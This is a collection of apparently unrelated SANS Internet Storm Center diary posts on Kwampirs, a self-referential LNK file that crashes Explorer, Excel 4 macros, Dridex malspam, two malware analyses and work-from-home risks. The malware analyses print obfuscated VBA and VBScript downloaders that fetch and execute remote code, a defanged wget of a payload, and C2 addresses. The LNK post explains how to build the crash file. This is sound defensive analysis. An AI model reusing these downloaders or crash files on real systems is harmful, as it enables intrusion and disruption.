This post was originally published on this site

There is no honor among thieves. Even after some ransomware gangs claimed to seize targeting the healthcare sector, attacks continue to happen. But ransomware isn’t alone. Last week, the FBI updated an advisory regarding the Kwampirs malware, pointing out the healthcare sector as one of its targets. Kwampirs isn’t picky in its targeting. It has been observed going after various sectors (financial, energy, software supply chain, and healthcare, among others). One differentiator of Kwampirs is its modular structure. After penetrating a particular target network, the malware will load appropriate modules based on the targets it encounters. In general terms, Kwampirs is a “Remote Admin Tool” (RAT). It provides access to the target and can be used to execute additional payloads at the attacker’s choosing.

The modular nature makes it difficult to enumerate the capabilities of the tool. Likely, addons are developed continuously as new capabilities are required to penetrate a particular network.

Kwampirs exhibits several behaviors that put it in the “Advanced Persistent Threat (APT)” category:

• It is patient. Kwampirs does not launch fast “hit and run” attacks. Instead, it can infiltrate a network and only communicate daily, asking for updates. I took some networks three years to detect Kwampirs.
• Kwampirs infiltrates software vendors and uses them to spread to customers. These supply chain attacks are well suited to target specific industries.
• It does not have a clear financial motive, like stealing PII or payment card data. The malware has not been observed destroying or encrypting data for ransom.

Kwampirs will likely enter your network undetected as part of a software update from a trusted vendor. Anti-malware solutions will detect past versions. But do not put too much trust in anti-malware to detect the next version that is likely tailored to your organization.

There are a few indicators that have been observed in the past, and it is certainly important to verify your network that you are not already infected. See the prior FBI bulletins for more details and Yara signatures.

But of course, this behavior is going to change. For future versions of this (and other threats), it is useful to abstract these signatures:

Check for new services popping up in your network. Do not look just for specific names like “WmiApSrvEx”, but investigate any service that you haven’t see before
New processes. This is tricky and maybe too noisy.
New files being added to system folders. Again, don’t focus on the specific names.
Kwampirs will also propagate through administrative shares. Deception techniques are an excellent option to catch this type of behavior.

Of course, I always like network detection techniques to identify malicious behavior. For Kwampirs, this may be a bit tricky, but it depends on what exact version you encounter. Some versions apparently will connect to an IP address directly, skipping DNS. Outbound connections without a DNS lookup returning the target IP should be one of your standard signatures. In the past, Kwampirs used some odd domain names that may stick out. For example, it used the “tk” top-level domain, which has sadly become almost an indicator of compromise in itself. Declaring yourself authoritative for .tk and redirecting queries to a sensor is an excellent way of detecting these and many other exploits. I probably wouldn’t spend too much time looking for the specific hostnames listed in the FBI advisory. These hostnames tend to be very ephemeral, and they are not going to “last” very long. But a historical search of your DNS logs (did I mention Zeek?) may be appropriate.

If you find anything interesting, please let us know. Refer to the FBI advisories I uploaded here for more detailed IOCs. 

[1] https://isc.sans.edu/diaryimages/Kwampirs_PIN_20200330-001.pdf
[2]  https://isc.sans.edu/diaryimages/FLASH-CP-000111-MW_downgraded_version.pdf
[3] https://isc.sans.edu/diaryimages/FLASH-CP-000118-MW_downgraded_version.pdf

—
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

This post was originally published on this site

In a couple of my recent diaries, we discussed two small unpatched vulnerabilities/weaknesses in Windows. One, which allowed us to brute-force contents of folders without any permissions[1], and another, which enabled us to change names of files and folders without actually renaming them[2]. Today, we’ll add another vulnerability/weakness to the collection – this one will allow us to cause a temporary DoS condition for the Explorer process (i.e. we will crash it) and/or for other processes. It is interesting since all that is required for it to work is that a user opens a link or visits a folder with a specially crafted file.

The vulnerability lies in the way in which URL links (.URL files) and Shell Links (.LNK files) are handled by Windows when they are self-referential (i.e. they “link to themselves”). The principle behind the vulnerability is not new – a similar issue was supposedly present in the early versions of Windows 7 with self-referential symlinks – but since I didn’t find any write-up for the issue with URLs and LNKs, I thought I’d share this version of the vulnerability here. I should mention that I informed Microsoft of the issue and they decided not to patch it due to its limited impact.

With URL links, crafting a self-referential one is quite simple. URL shortcuts are basically just INI files and you may create one in the same way you would create a LNK shortcut (i.e. right click in a folder -> New -> Shortcut), you just have to input URL as the target. If we were to create a shortcut this way, which points to https://isc.sans.edu/, we would end up with following contents inside the resulting URL file.

The structure is quite simple, but we may simplify it further still, since for our purposes, we only need to specify the [InternetShortcut] section and a target for the link. A file with the following contents will work the same way as the previous one.

In order to create a self-referential URL file, we simply need to point the URL property to the path where our file is located.

If we try to open this file, the Explorer process will crash and after a while, it will be started again.

This is intriguing behavior and since the mechanism works for remote file shares as well (and since we may change the icon which is displayed for the URL file), a specially crafted URL link might be used quite easily to pull a prank on someone. Besides it being a potential tool for use during the April Fools’ day, however, there don’t seem to be many uses for a self-referential URL.

Self-referential Shell Links, on the other hand, could be quite handy in certain red teaming situations. This is because in case of LNK files, one doesn’t need to interact with them directly in any way in order to cause Explorer to crash, it is enough to open the folder in which they are located.

This is due to the interesting way in which Windows handles Shell Links. To demonstrate the behavior of Windows when a user opens a folder in which a LNK file is located, I created a shortcut, which points to calc.exe, and placed in in the folder C:PoC. As you may see from the output from Process Monitor bellow, which shows what happened when I opened the PoC folder, the Explorer process automatically found the target file (C:system32.calc.exe) and accessed it.

Although this behavior is quite interesting by itself, the fact that Explorer tries to access target of a LNK file when a folder, inside which it is placed, is opened is sufficient for our purposes.

At this point, we may try to create a self-referential LNK. However, if we simply try to point existing Shell Link file back on itself (or point it to any other LNK), Windows will stop us, because creating a shortcut to another shortcut is not allowed.

Since Shell Links have a binary format, making them point to themselves “manually” isn’t as straightforward as in the case of URL files. With a hex editor and with a little help from the official documentation[3], it still isn’t too difficult though.

The only potential snag is that Shell Link files really aren’t meant to point to other LNKs and to enable this behavior, we need to set a special flag in the header of the Shell Link called “AllowLinkToLink“ (i.e. add 0x80 to byte at offset 0x16)[4].

If we try to access a folder, inside which the LNK is placed, Explorer will indeed crash and then start up again.

If you’d like to try this out on your own system, I prepared a sample Shell Link file to make it easier. You may download it from https://untrustednetwork.net/files/ISC/2020/infinilink.zip (password is “infected”) and unzip the “infinilink” directory to your C drive. It works from certain other locations as well, but I would caution against putting the downloaded LNK directly on a Desktop.

Although it should be harmless (besides causing the Explorer process to crash, that is), I would also recommend that you only try it in a backed up virtual environment.

For completeness sake, I should mention that explorer.exe isn’t the only process we may crash this way. Any application, which uses one of the standard Windows file dialogs (i.e. Open File dialog, Save File dialog, etc.) is susceptible and will crash if the dialog window is used to open a folder containing a self-referential LNK.

[1] https://isc.sans.edu/diary/25816
[2] https://isc.sans.edu/diary/25912
[3] https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-shllink/16cb4ca1-9339-4d0c-a68d-bf1d6cc0f943
[4] https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-shllink/ae350202-3ba9-4790-9e9e-98935f4ee5af

———–
Jan Kopriva
@jk0pr
Alef Nula

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

This post was originally published on this site

2 readers (anonymous and Robert) submitted very similar malicious spreadsheets with almost no detections on VT: c1394e8743f0d8e59a4c7123e6cd5298 and a03ae50077bf6fad3b562241444481c1.

These files contain Excel 4 macros (checking with oledump.py here):

There are a lot of cells in this spreadsheet with a call to the CHAR function:

These CHAR formulas evaluate to ASCII characters, that are then concatenated together and evaluated as formulas:

I can extract the integer argument of each CHAR function like this with my tool re-search.py:

That can then be converted to characters using my tool numbers-to-string.py:

The string above is build-up of all the cells with function CHAR in the spreadsheet. That’s why the produced string looks promising, but the characters don’t seem to be in the right order.

Selecting characters on the same row doesn’t help:

But selecting by column does reveal the formulas:

Analyzing obfuscated Excel 4 macros with a command-line tool like this can be difficult, and it can be easier to view the Excel 4 macro sheet inside a VM (this sheet was very hidden):

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

This post was originally published on this site

Johannes started a Covid19 Domain Classifier here on our Internet Storm Center site.

From SANS NewsBites Vol. 22 Num. 025:

Help Us Classify COVID-19 Related Domains

These last couple of weeks, criminals have been using COVID-19 for everything from selling fake cures to phishing. Every day, several thousand domains are registered for COVID-19 related keywords. We are trying to identify the worst, and classify the domains into different risk categories. If you have some time this weekend, please help us out by checking out some of these domains. To participate, see https://isc.sans.edu/covidclassifier.html. The domain data is based on a feed provided by Domaintools and we will make the results of this effort public for download as soon as we have a “critical mass” of responses.

When you log in with your account to the SANS ISC site, you’ll get a list of 10 domains to classify, like this:

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

This post was originally published on this site

When we speak about “fileless” malware, it means that the malware does not use the standard filesystem to store temporary files or payloads. But they need to write data somewhere in the system for persistence or during the infection phase. If the filesystem is not used, the classic way to store data is to use the registry. Here is an example of a malicious JavaScript code that uses a temporary registry key to drop its payload (but it also drops files in a classic way).

The malware was delivered via a Microsoft Word document:

remnux@remnux:/malwarezoo/20200327$ oledump.py information_03.26.doc 
A: word/vbaProject.bin
 A1:       576 'PROJECT'
 A2:       104 'PROJECTwm'
 A3: m    1127 'VBA/ThisDocument'
 A4:      3798 'VBA/_VBA_PROJECT'
 A5:      2201 'VBA/__SRP_0'
 A6:       206 'VBA/__SRP_1'
 A7:       348 'VBA/__SRP_2'
 A8:       106 'VBA/__SRP_3'
 A9: M    2319 'VBA/a4bLF'
A10: M    2026 'VBA/acpqnS'
A11: M    2457 'VBA/ajzdY'
A12:       913 'VBA/dir'
A13: m    1171 'VBA/f'
A14:        97 'f/x01CompObj'
A15:       284 'f/x03VBFrame'
A16:        86 'f/f'
A17:     37940 'f/o'

Several macros are present and are easy to decode:

Sub AutoOpen()
  main
End Sub

And:

Sub main()
  ajKTO = StrReverse(ae5RXS("e$x$e$.$a$t$h$s$m$$2$3$m$e$t$s$y$s$$s$w$o$d$n$i$w$$:$c$", "$", ""))
  akYREj = StrReverse(aQqnur("m$o$c$.$t$f$o$s$o$r$c$i$m$$a$t$a$d$m$a$r$g$o$r$p$$:$c$", "$", ""))
  aXlTxC = StrReverse(airmZ6("l$m$t$h$.$x$e$d$n$i$$a$t$a$d$m$a$r$g$o$r$p$$:$c$", "$", ""))
  Call VBA.FileCopy(ajKTO, akYREj)
  Set axe16 = f.i
  atk8Jw aXlTxC, axe16.value
  Shell akYREj & " " & aXlTxC
End Sub

The three lines containing StrReverse() are easy to deobfuscate, you just have to remove the ‘$’ characters and reverse the string:

StrReverse(ae5RXS(“e$x$e$.$a$t$h$s$m$$2$3$m$e$t$s$y$s$$s$w$o$d$n$i$w$$:$c$”, “$”, “”)) = “c:windowssystem32mshta.exe”
StrReverse(aQqnur(“m$o$c$.$t$f$o$s$o$r$c$i$m$$a$t$a$d$m$a$r$g$o$r$p$$:$c$”, “$”, “”)) = “c:programdatamicrosoft.com”
StrReverse(airmZ6(“l$m$t$h$.$x$e$d$n$i$$a$t$a$d$m$a$r$g$o$r$p$$:$c$”, “$”, “”)) = c:programdataindex.html

The function atk8Jw() dumps the payload:

Public Function atk8Jw(ar9a1t, afn6Jc)
  Open ar9a1t For Output As #1
  Print #1, afn6Jc
  Close #1
End Function

The file index.html is created based on the content of a hidden form in the Word document (called ‘f’).

The second stage is executed via mshta.exe. This piece of code uses the registry to dump the next stage:

<p id="content">6672613771647572613771646e726137 ...(very long string)... 2613771642972613771643b7261377164</p>
...
var aYASdB = "HKEY_CURRENT_USERSoftwaresoftkey";
...
aB9lM.RegWrite(aYASdB, a0KxU.innerHTML, "REG_SZ");
...
aUayK = aB9lM.RegRead(aYASdB)
...
aB9lM.RegDelete(aYASdB)

The content is the ‘id’ HTML element is hex-encoded and obfuscated with garbage characters. Once decoded, we have a new bunch of obfuscated code.

It fetches the next stage from this URL: 

hxxp://his3t35rif0krjkn[.]com/kundru/targen.php?l=swep4.cab

Unfortunately, the file was already removed and I was not able to continue the analyzis…

Xavier Mertens (@xme)
Senior ISC Handler – Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

This post was originally published on this site

Security controls have a major requirement: they can’t (or at least they try to not) interfere with normal operations of the protected system. It is known that antivirus products do not scan very large files (or just the first x bytes) for performance reasons. Can we consider a very big file as a technique to bypass security controls? Yesterday, while hunting, I spotted a very interesting malware sample. The malicious PE file was delivered via multiple stages but the final dropped file was large… very large!

It started with a classic phishing email containing a shortened URL:

hxxp://bit[.]ly/2WFm2wY

(Tip: Not many people are aware that if you add a ‘+’ sign at the end of a bit.ly URL, you won’t be redirected automatically to the real URL but a page with the link will be returned instead. This can help you to decide if the shortened URL is malicious or not.)

This URL redirected to a second shortener service:

hxxps://rebrand[.]ly/9zcj74uFAT039

Finally, the real URL was visited:

hxxps://cld[.]pt/dl/download/6812fec0-88b6-4e41-9eb1-e5cb06be83e0/sapotransfer-5a1a0746e3e7ePG/ER-3939874-FT.zip?download=true

The ZIP archive (SHA256:7dc6b78fac829e25232fa5fa885464d25bdef45fa577d10f3e73fe393e1c2c19) contains a VBScript file ‘ER-3939874-FT.vbs’ (SHA256:494b9fc1957434ac5626d5fa17189db09f1acea00c856caf107d7bb22fde5ec5)

A quick analyzis reveals that the code is very simple:

It downloads another piece of code from an URL:

Set Dnlakdnsks = CreateObject("Msxml2.XMLHttp.6.0")
Dnlakdnsks.open "GET", Cfgghhhh("_kkgj1&&gXjkY`e%Zfd&iXn&>D)/_E?Y"), False
Dnlakdnsks.send

And executes it:

Function DJierorpoop(WWWWWw)
  ExecuteGlobal WWWWWw
End Function
DJierorpoop Dnlakdnsks.responseText

The URL (‘_kkgj1&&gXjkY`e%Zfd&iXn&>D)/_E?Y’) is deobfuscated via the following function:

Function Cfgghhhh(G1g)
  For DnnKS = 1 To Len(G1g)
    MDNSLS = Mid(G1g, DnnKS, 1)
    MDNSLS = Chr(Asc(MDNSLS)+ 9)
    SSXSLDKSNS = SSXSLDKSNS + MDNSLS
  Next
  Cfgghhhh = SSXSLDKSNS
End Function

We can simulate it in Python. The string is parsed character by characters, converted to their ASCII value and shifted by 9 positions:

>>> str='_kkgj1&&gXjkY`e%Zfd&iXn&>D)/_E?Y'
>>> out=''
>>> for c in str:
...     out = out + chr(ord(c)+9)
...
>>> out
'hxxps://pastebin[.]com/raw/GM28hNHb'

This pastie contains more VBScript code and, once executed, it performs the following actions:

It downloads the next stage from the Internet. The URL is encoded using the same technique (see above) but the characters are shifted by 10 instead of 9. The deobfuscated URL is:

hxxp://160[.]20[.]147[.]130:1948/DNsikidstrou9095.iso

The .iso file is a big chunk of Base64 encoded data. Once decoded, we have a ZIP archive:

remnux@remnux:/malwarezoo$ wget hxxp://160[.]20[.]147[.]130:1948/DNsikidstrou9095.iso
remnux@remnux:/malwarezoo$ base64 -d DNsikidstrou9095.iso | file -
/dev/stdin: Zip archive data, at least v2.0 to extract
remnux@remnux:/malwarezoo$ base64 -d DNsikidstrou9095.iso >DNsikidstrou9095.iso.zip
remnux@remnux:/malwarezoo$ unzip DNsikidstrou9095.iso.zip
Archive:  DNsikidstrou9095.iso.zip
  inflating: DNsikidstrou9095.exe

The PE file (SHA256:a5d786ee432dd486d6773621301997c3143dc47a8525c683ff6281990ff9d14d) is very large:

remnux@remnux:/malwarezoo$ $ ls -lh DNsikidstrou9095.exe
-rw-r--r-- 1 remnux remnux 321M Mar 25 08:20 DNsikidstrou9095.exe

321MB is really big! This trick is very easy to bypass many security controls.  

Often, such files are padded with zeroes to make them bigger but it was not the case this time. Let’s inspect the PE file with PEStudio[1]. The PE file format is quite complex[2] and contains ‘sections’. Sections are ‘areas’ in the file that store different types of data:

.text : contains executable code
.data: contains ‘data’ used by the program

An interesting one is ‘.rsrc’ which contains the ‘resources’. As you can see, this section takes more than 97% of the complete file size:

Resources can be any type of data embedded in the application. Common data are icons, cursors, images, etc.
In our malicious PE, we see three big resources:
 

PEStudio can dump resources to disk. Let’s dump them and see what we have:

remnux@remnux:/malwarezoo$ file  DNsikidstrou9095.*.bmp
DNsikidstrou9095.exe.0.bmp: PC bitmap, Windows 3.x format, 9161 x 7054 x 24
DNsikidstrou9095.exe.1.bmp: PC bitmap, Windows 3.x format, 4267 x 5293 x 24
DNsikidstrou9095.exe.2.bmp: PC bitmap, Windows 3.x format, 4414 x 4959 x 24

Files look very similar:

It does not seem to be computer-generated. I tried to find hidden data in the file, but they look ‘clean’.
The next question is: “Are these sections used by the program?”

They are many tools to play with resources but I like ResourceTuner[3]. The tool is not free but is available in demo mode for 30 days, more than enough to play with it from time to time. The tool allows you to browse resources embedded in a PE file but also to remove them:

The newly generated file has now a size of (only) 8371200 bytes (SHA256:d8d3665affc98cba7942674a51713878b903f8c19034075eb469c3ace3d6aeb6)

Let’s try to execute it again in a sandbox… Great, it worked perfectly!

It’s a variant of the Latentbot[4] that communicates with a C2 @ %%ip:18.231.122.158%%.

[1] https://www.winitor.com
[2] https://docs.microsoft.com/en-us/windows/win32/debug/pe-format
[3] http://www.heaventools.com/resource-tuner.htm?
[4] https://blog.malwarebytes.com/threat-analysis/2017/06/latentbot/

Xavier Mertens (@xme)
Senior ISC Handler – Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

This post was originally published on this site

Privacy is more than just settings in your Social Media account or using the Tor Browser. Your data and actions are collected in a variety of ways. The more aware you are of just how much of your data is collected, the better you can protect it.

This post was originally published on this site

Introduction

This week, I’ve seen a lot of malicious spam (malspam) pushing Dridex malware.  Today’s diary, provides a quick rundown on the types of malspam I’ve seen, and it also covers what an infected Windows host looks like.

The malspam

I’ve seen at least 3 different themes used during the first two days of this week from malspam pushing Dridex.  One was a voicemail-themed email.  Another used a DHL them.  Finally, I saw a FedEx-themed email pushing Dridex.  See the images below for examples.

Shown above:  Malspam using a voicemail theme to push Dridex.

Shown above:  Malspam using a DHL them to push Dridex.

Shown above:  Malspam using a FedEx theme to push Dridex.

An infected Windows host

I infected a lab host using a URL from one of the emails shown above.  See images below for details.

Shown above:  Clicking on the link in the Fedex email.

Shown above:  Extracting a VBS file from the downloaded zip archive.

Shown above:  Running the VBS file drops the initial DLL for Dridex.

Shown above:  Dridex persistence mechanism 1 of 3–a scheduled task.

Shown above:  Dridex persistence mechanism 2 of 3–a regisrty update.

Shown above:  Dridex persistence mechanism 2 of 3–a shorVcut in the Windows startup menu.

Indicators

URLs from the three email examples:

• hxxp://bienvenidosnewyork[.]com/app.php
• hxxp://photoflip[.]co[.]in/lndex.php
• hxxp://everestedu[.]org/lndex.php

Zip archive downloaded from link in one of the malspam:

• SHA256 hash: fc3da99b3bfd3fee81361dd0795e24f24a6b1362629ddc2e98b7d1490b0b4598
• File name: XLS_479818342326.zip

VBS file extracted from the above zip archive:

• SHA256 hash: cc1b8318bd30fa4f03e333ad34ae153ef3b5e42cbce95299d566ad755391313f
• File name: XLS_479818342326.vbs

Initial Dridex DLL seen after running VBS file:

• SHA256 hash: abf99a028dae6812f6f0ca633d7424ce9272dfcfbebf6b518c1e6c97f872f3e7
• File location: C:ProgramDataqPryTEyLr.dll

File hashes for Dridex DLLs made persistent during the infection:

• SHA256 hash: 6712500bb0de148a99ec940160d3d61850e2ce3803adca8f39e9fa8621b8ea6f
• File name: DUI70.dll

• SHA256 hash: 86bcfce2dd342e9a1c04cfc65731d40ed1c397a4ec47bd9f5b41771297d81100
• File name: UxTheme.dll

• SHA256 hash: 005e77a55b8f1bf4049d6231c2349a01d019b46f47b6930103458a2aadd1bfa6
• File name: dxgi.dll

Final notes

Of note, zip archives from links in the emails appeared to be different names/sizes/hashes each time I downloaded one, even if it was from the same link.  Also, when a Dridex-infected Windows host is rebooted, the locations, names, and file hashes of the persistent Dridex DLL files are changed.

Dridex remains a feature of our threat landscape, and it will likely continue to be, at least in the foreseeable future.  Windows 10 hosts that are fully patched and up-to-date have a very low risk of getting infected from Dridex, so it pays to follow best security practices.

—

Brad Duncan
brad [at] malware-traffic-analysis.net

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

This post was originally published on this site

Following is a guest cross-post from John Scott-Railton, a Senior Researcher at The Citizen Lab. His work focuses on technological threats to civil society.

We all know about global shortages of ventilators, protective equipment, and pharmaceuticals. But as work moves home, it will be much less secure, harder to defend, and easier to snoop on.

Working From Home & At Risk…From Hackers
As a researcher investigating state-sponsored hacking I’ve been trying to think about what COVID-19 means for cybersecurity. My guesses begin at as I look around me, with the massive growth of work-from-home, and how it will will make life easier on hackers, and harder on defenders.

Last week, as workplaces emptied into the stubble-and-sweatpants of full-time-remote-work most desktops stayed at the office. Some employers sent staff home with fleets of laptops and phones. Most did not.
Predictably, the world’s business has slid into a world of personal devices, personal chat & calling apps, and un-administered, unpatched home wifi routers and networks. This is some remarkable, quick moving resiliency. It is also introducing serious new risks that could lead us to be re-victimized digitally.

The New Workplace Has More Doors, Fewer Locks
It has always been a challenge for administrators to make sure that sensitive work is conducted over work networks and on work devices. The new reality of COVID-19 is that employees need:

• More remote access to networks and resources
• To access new resources as colleagues take sick leave
• To conduct business on personal devices, accounts and apps

Once it would be a rarity for a major deal, or sensitive negotiation to have someone joining from a home office, on a personal device. For a while, it will be the new normal.

Browsing in the time of COVID-19
The baseline for most personal devices is default-insecure. The new work desktop in the era of COVID-19 is going to be an unpatched, crusty laptop that spent the past two years Netflix & chilling. We already see plenty of COVID-19 related internet opportunism, from themed phishing and ransomware, to more esoteric attacks. Most internet-connected personal (and work!) devices will swim in this threat-and-nuisance soup for months.
Depending on demographics and income, personal devices like laptops will do double and triple duty. Kids will submit homework, roommates format CVs, do taxes, and partners borrow something that doesn’t freeze on the flavor-of-the-week teleconferencing app their work is rolling out. If ever there was a petri dish…

Blurring work & personal accounts
Work conferencing and chatting solutions are a mixed bag in the best of times. As users struggle with network latencies and bandwidth, and the need to talk to other organizations, many are pivoting to personal accounts on services like WhatsApp and iMessage.
While moving to end-to-end encrypted chats has many benefits, it can also contribute to the further blurring of work and personal accounts and devices, and paint a target on a device or an account that the owner has never thought to secure.

…and your adversaries have a video feed!
The desperately insecure internet-of-things/s**t has slid into many homes. While the new home panopticon leaves many uneasy, it has only rarely entered the consciousness of defenders as a workplace threat. That should change right now. For the next while, masses of sensitive work business will be conducted in the vicinity of smart devices. Defenders might find it useful to try and picture the internet of things the way nation states and other threat actors do: a massive new collection opportunity against their workforce. Perhaps a memo-from-the-dept-of-silver-lining for this situation will be that the insecurity of these devices will finally attract some serious attention. Then again, probably not.

COVID-19 Will Give Hackers Wings
Investments in endpoint, network and cloud security raise the costs for potential attackers (in theory!). But when sensitive work business moves away from these devices and environments, the impact of that investment will be quickly degraded as IT staff and CISOs cannot monitor what happened.

The Defenders Will Be Blind
The personal devices and accounts pulling work duty will be largely un-administered and un-logged. On a given Thursday afternoon, IT staff is going to be busy helping everyone troubleshoot the 14th Zoom meeting of the week. In this environment, individual breaches are even less likely to be noticed.
The predictable result of the new COVID-19 remote workplace will be like a shot of Red Bull for less skilled, less well resourced threat actors. Suddenly they will get wings!
At the extreme end, phishing and RATS will, for a while, probably do some of the work of much more sophisticated tactics.
Groups like the Syrian Electronic Army that, years ago, hit ceilings of technological sophistication that made it hard for them to effectively target companies and governments will undoubtedly give it another go, this time even more focused on personal devices and accounts. Meanwhile, the more sophisticated nation state operations have every incentive try harder, for more, and assume less attention will be paid to their operations.

We Are Not In *All* of This Together
The hugely ad-hoc insecure new workplace would be less terrifying if everyone were experiencing the COVID-19 pandemic at the same time, and in the same disruptive way. We aren’t. Each country and community is somewhere different on the timeline of the illness.
Some well known net exporters of sophisticated cyberattacks, like China, are busy trying to restart their economies, and no doubt looking at the interesting opportunities that COVID-19 presents for ticking items off their intelligence collection shopping lists. Other belligerents like Russia, while busy-denying-COVID-19-is-a-thing-domestically will almost certainly go after their usual list of geopolitical targets with renewed vigor.
Many juicy prizes are at their most organizationally vulnerable right now. Plenty of threat actors can’t wait to pick their digital pocket. Meanwhile, the juiciest part of [insert your workplace here] is now vulnerable in new ways that none of us are completely familiar with.

Special Note: Are Governments Immune?
Nope. They are among the juiciest of targets. 80 year old judges deliberating over billion dollar cases in sweatpants. Quarantined legislators in their home dens brainstorming with colleagues about China.
Militaries trying to do command-and-control over WhatsApp because having everyone in one bunker is a recipe for disaster. Even as they seek extensive new authorities over civilian populations, governments have never been more within the reach of all the wrong people.

Reach John via Twitter.

Until next time: Russ McRee | @holisticinfosec

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

This post was originally published on this site

Microsoft announced limited exploitation of a zeroday remote code execution vulnerability in the type 1 font parser.

There are two RCE vulnerabilities in Windows Adobe Type Manager Library on Windows system, when parsing Adobe Type 1 PostScript format. There are multiple attack vectors, like documents.

Microsoft is working on a patch.

Following mitigation actions can be taken:

• Disable the Preview Pane and Details Pane in Windows Explorer

• Disable the WebClient service

• Rename ATMFD.DLL

   

 

Microsoft advisory ADV200006

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.